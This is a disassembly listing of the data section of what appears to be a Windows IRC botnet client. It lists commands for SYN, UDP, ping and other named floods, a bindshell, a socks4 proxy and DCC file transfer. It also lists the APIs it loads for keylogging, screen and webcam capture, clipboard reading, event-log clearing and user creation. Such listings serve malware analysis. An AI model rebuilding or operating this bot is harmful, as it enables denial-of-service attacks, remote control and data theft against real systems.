aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EFo
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D6o
align 10h
dword_42CAB0 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CBo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C6o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ADo
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1498o
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1483o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Eo
align 10h
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1459o
align 10h
dword_42CB00 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1430o
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1407o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DEo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B5o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Co
unk_42CB48 db 2Dh ; - ; DATA XREF: sub_401ACD+1372o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42CB7C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1337o
; sub_401ACD+13D3o
dword_42CB8C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1332o
; sub_401ACD+13CEo
dword_42CB9C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1319o
; sub_401ACD+13AAo
dword_42CBAC dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1314o
; sub_401ACD+13A5o
dword_42CBBC dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B9o
; sub_401ACD+1425o
dword_42CBC8 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B4o
; sub_401ACD+1420o
dword_42CBD4 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo
; sub_401ACD+13FCo
dword_42CBE0 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1296o
; sub_401ACD+13F7o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1236o
align 4
dword_42CBF8 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Bo
; sub_401ACD+12F8o
dword_42CC04 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1226o
; sub_401ACD+12F3o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Do
align 4
dword_42CC1C dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1202o
; sub_401ACD+12DAo
dword_42CC2C dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FDo
; sub_401ACD+12D5o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E4o
align 4
dword_42CC48 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D9o
; sub_401ACD+1358o
dword_42CC58 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D4o
; sub_401ACD+1353o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BBo
align 4
dword_42CC74 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o
; sub_401ACD+127Ao
dword_42CC80 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11ABo
; sub_401ACD+1275o
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1192o
dword_42CC94 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1187o
; sub_401ACD+125Co
dword_42CCA0 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1182o
; sub_401ACD+1257o
dword_42CCAC dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1169o
dword_42CCB8 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Eo
dword_42CCC8 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1159o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1140o
align 4
dword_42CCE8 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o
dword_42CCF4 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1130o
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1117o
dword_42CD08 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Co
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EEo
align 4
dword_42CD24 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E3o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C5o
align 10h
dword_42CD40 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BDo
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Fo
align 4
aS4 db 's4',0 ; DATA XREF: sub_401ACD+108Ao
align 10h
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1075o
align 4
dword_42CD68 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1053o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Eo
; sub_401ACD+10B8o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1035o
align 4
aBd db 'bd',0 ; DATA XREF: sub_401ACD+1020o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Bo
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF6o
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE1o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCCo
; sub_401ACD+2D6Ao
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB7o
; sub_401ACD+2D59o
align 4
aSt db 'st',0 ; DATA XREF: sub_401ACD+FA2o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Do
align 4
aDed db 'ded',0 ; DATA XREF: sub_401ACD+F78o
aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F63o
align 4
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Eo
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F39o
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F24o
align 4
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Fo
align 4
aD: ; DATA XREF: sub_401ACD+EFAo
; ___:00438314o ...
unicode 0, <d>,0
aDie db 'die',0 ; DATA XREF: sub_401ACD+EE5o
aRn db 'rn',0 ; DATA XREF: sub_401ACD+ED0o
align 4
aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB8o
a63 db '63',0 ; DATA XREF: sub_401ACD+D85o
align 4
asc_42CE14: ; DATA XREF: sub_401ACD+D5Do
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D20o
align 10h
aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D15o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D04o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE8o
align 4
aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD7o
align 4
aMe db '$me',0 ; DATA XREF: sub_401ACD+CC5o
aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C57o
aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B93o
align 4
asc_42CE54: ; DATA XREF: sub_401ACD+ABBo
; ___:0043832Co ...
unicode 0, <l>,0
unk_42CE58 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42CE8C db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42CEBC db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_42CEF4 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o
align 4
unk_42CF1C db 2Dh ; - ; DATA XREF: sub_401ACD+938o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 10h
unk_42CF60 db 2Dh ; - ; DATA XREF: sub_401ACD+920o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_42CF9C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+90Fo
dd 0A0Dh
dword_42CFB4 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo
dword_42CFBC dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8D0o
dd 0D017325h, 0Ah
dword_42CFD8 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo
dword_42CFE4 dd 23h ; DATA XREF: sub_401ACD+816o
; sub_40CA80+1Bo
unk_42CFE8 db 2Dh ; - ; DATA XREF: sub_401ACD+785o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o
; sub_401ACD+995o ...
align 4
aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo
align 4
dword_42D024 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o
dword_42D02C dd 323333h ; DATA XREF: sub_401ACD+64Bo
; sub_401ACD+ADDo ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o
; sub_409A73+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do
; sub_409A73+16o
unk_42D040 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User: %s logged out.',0
align 4
unk_42D064 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: %s.',0
a353 db '353',0 ; DATA XREF: sub_401ACD+574o
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o
align 10h
aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o
; sub_401ACD+5E9o
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo
align 10h
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+60Do
unk_42D0B8 db 2Dh ; - ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2EBDo ...
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User %s logged out.',0
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 10h
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7C8Fo ...
align 4
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_4177D0:loc_417838o
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3B7o ...
align 10h
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_4177D0+50o
align 4
asc_42D124: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7DAEo
unicode 0, <!>,0
asc_42D128: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E5Do ...
unicode 0, < >,0
asc_42D12C db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_402602o
align 10h
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B13:loc_40A77Do
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B13+C15o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B13+C08o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B13+BFBo
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B13+BEEo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B13+BE1o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B13:loc_40A6DFo
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B13+B97o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B13+B8Fo
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B13:loc_40A695o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B13:loc_40A621o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B13+AD1o
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B13:loc_40A5D7o
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B13:loc_40A58Do
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B13+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo
; sub_4185A5+65o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B13+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B13+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B13+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B13+9B8o
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B13+9ABo
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B13+984o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B13+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B13+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B13:loc_40A471o
; sub_4185A5+58o
align 10h
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B13+921o
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B13+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B13+90Co
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B13:loc_40A412o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B13+82Co
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B13:loc_40A2F2o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B13+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B13+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B13+68Co
align 10h
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B13+67Fo
align 10h
aGethostname db 'gethostname',0 ; DATA XREF: sub_409B13+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B13+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B13+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409B13+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409B13+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409B13+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409B13+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B13+617o
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_409B13+60Ao
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409B13+5FDo
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_409B13+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409B13+5D6o
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_409B13+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409B13+5BCo
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B13+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B13+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_409B13+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B13+588o
aSocket db 'socket',0 ; DATA XREF: sub_409B13+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B13+56Eo
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B13+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B13+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B13+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B13+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B13+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B13+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B13+514o
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B13+4A1o
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B13+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B13+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B13+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B13+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B13+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B13:loc_409F40o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B13:loc_409F18o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B13+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409B13+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B13+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B13+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B13:loc_409E6Ao
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o
align 10h
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B13+2C6o
align 10h
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B13+2B9o
align 10h
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B13+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B13+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o
align 10h
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B13+285o
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B13+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B13+270o
align 10h
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B13:loc_409D72o
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B13+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B13+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B13+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B13+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B13+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B13+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B13+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B13+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B13+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B13:loc_409C48o
; sub_424D78+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B13+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B13+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409B13+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B13+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B13+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B13+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B13+Ao
align 4
unk_42DA2C db 2Dh ; - ; DATA XREF: sub_40A7CF+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo
align 10h
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o
align 4
a_: ; DATA XREF: sub_40F96B+252o
unicode 0, <.>,0
unk_42DBBC db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40ABF1o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42DBEC db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40ABBFo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42DC1C db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40AB8Bo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 10h
unk_42DC40 db 2Dh ; - ; DATA XREF: sub_40AB32+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC10+46o
; sub_40BFEC+38o
aReal db 'real',0
align 10h
dd 0
dword_42DC84 dd 0 ; DATA XREF: sub_40B08E+7o
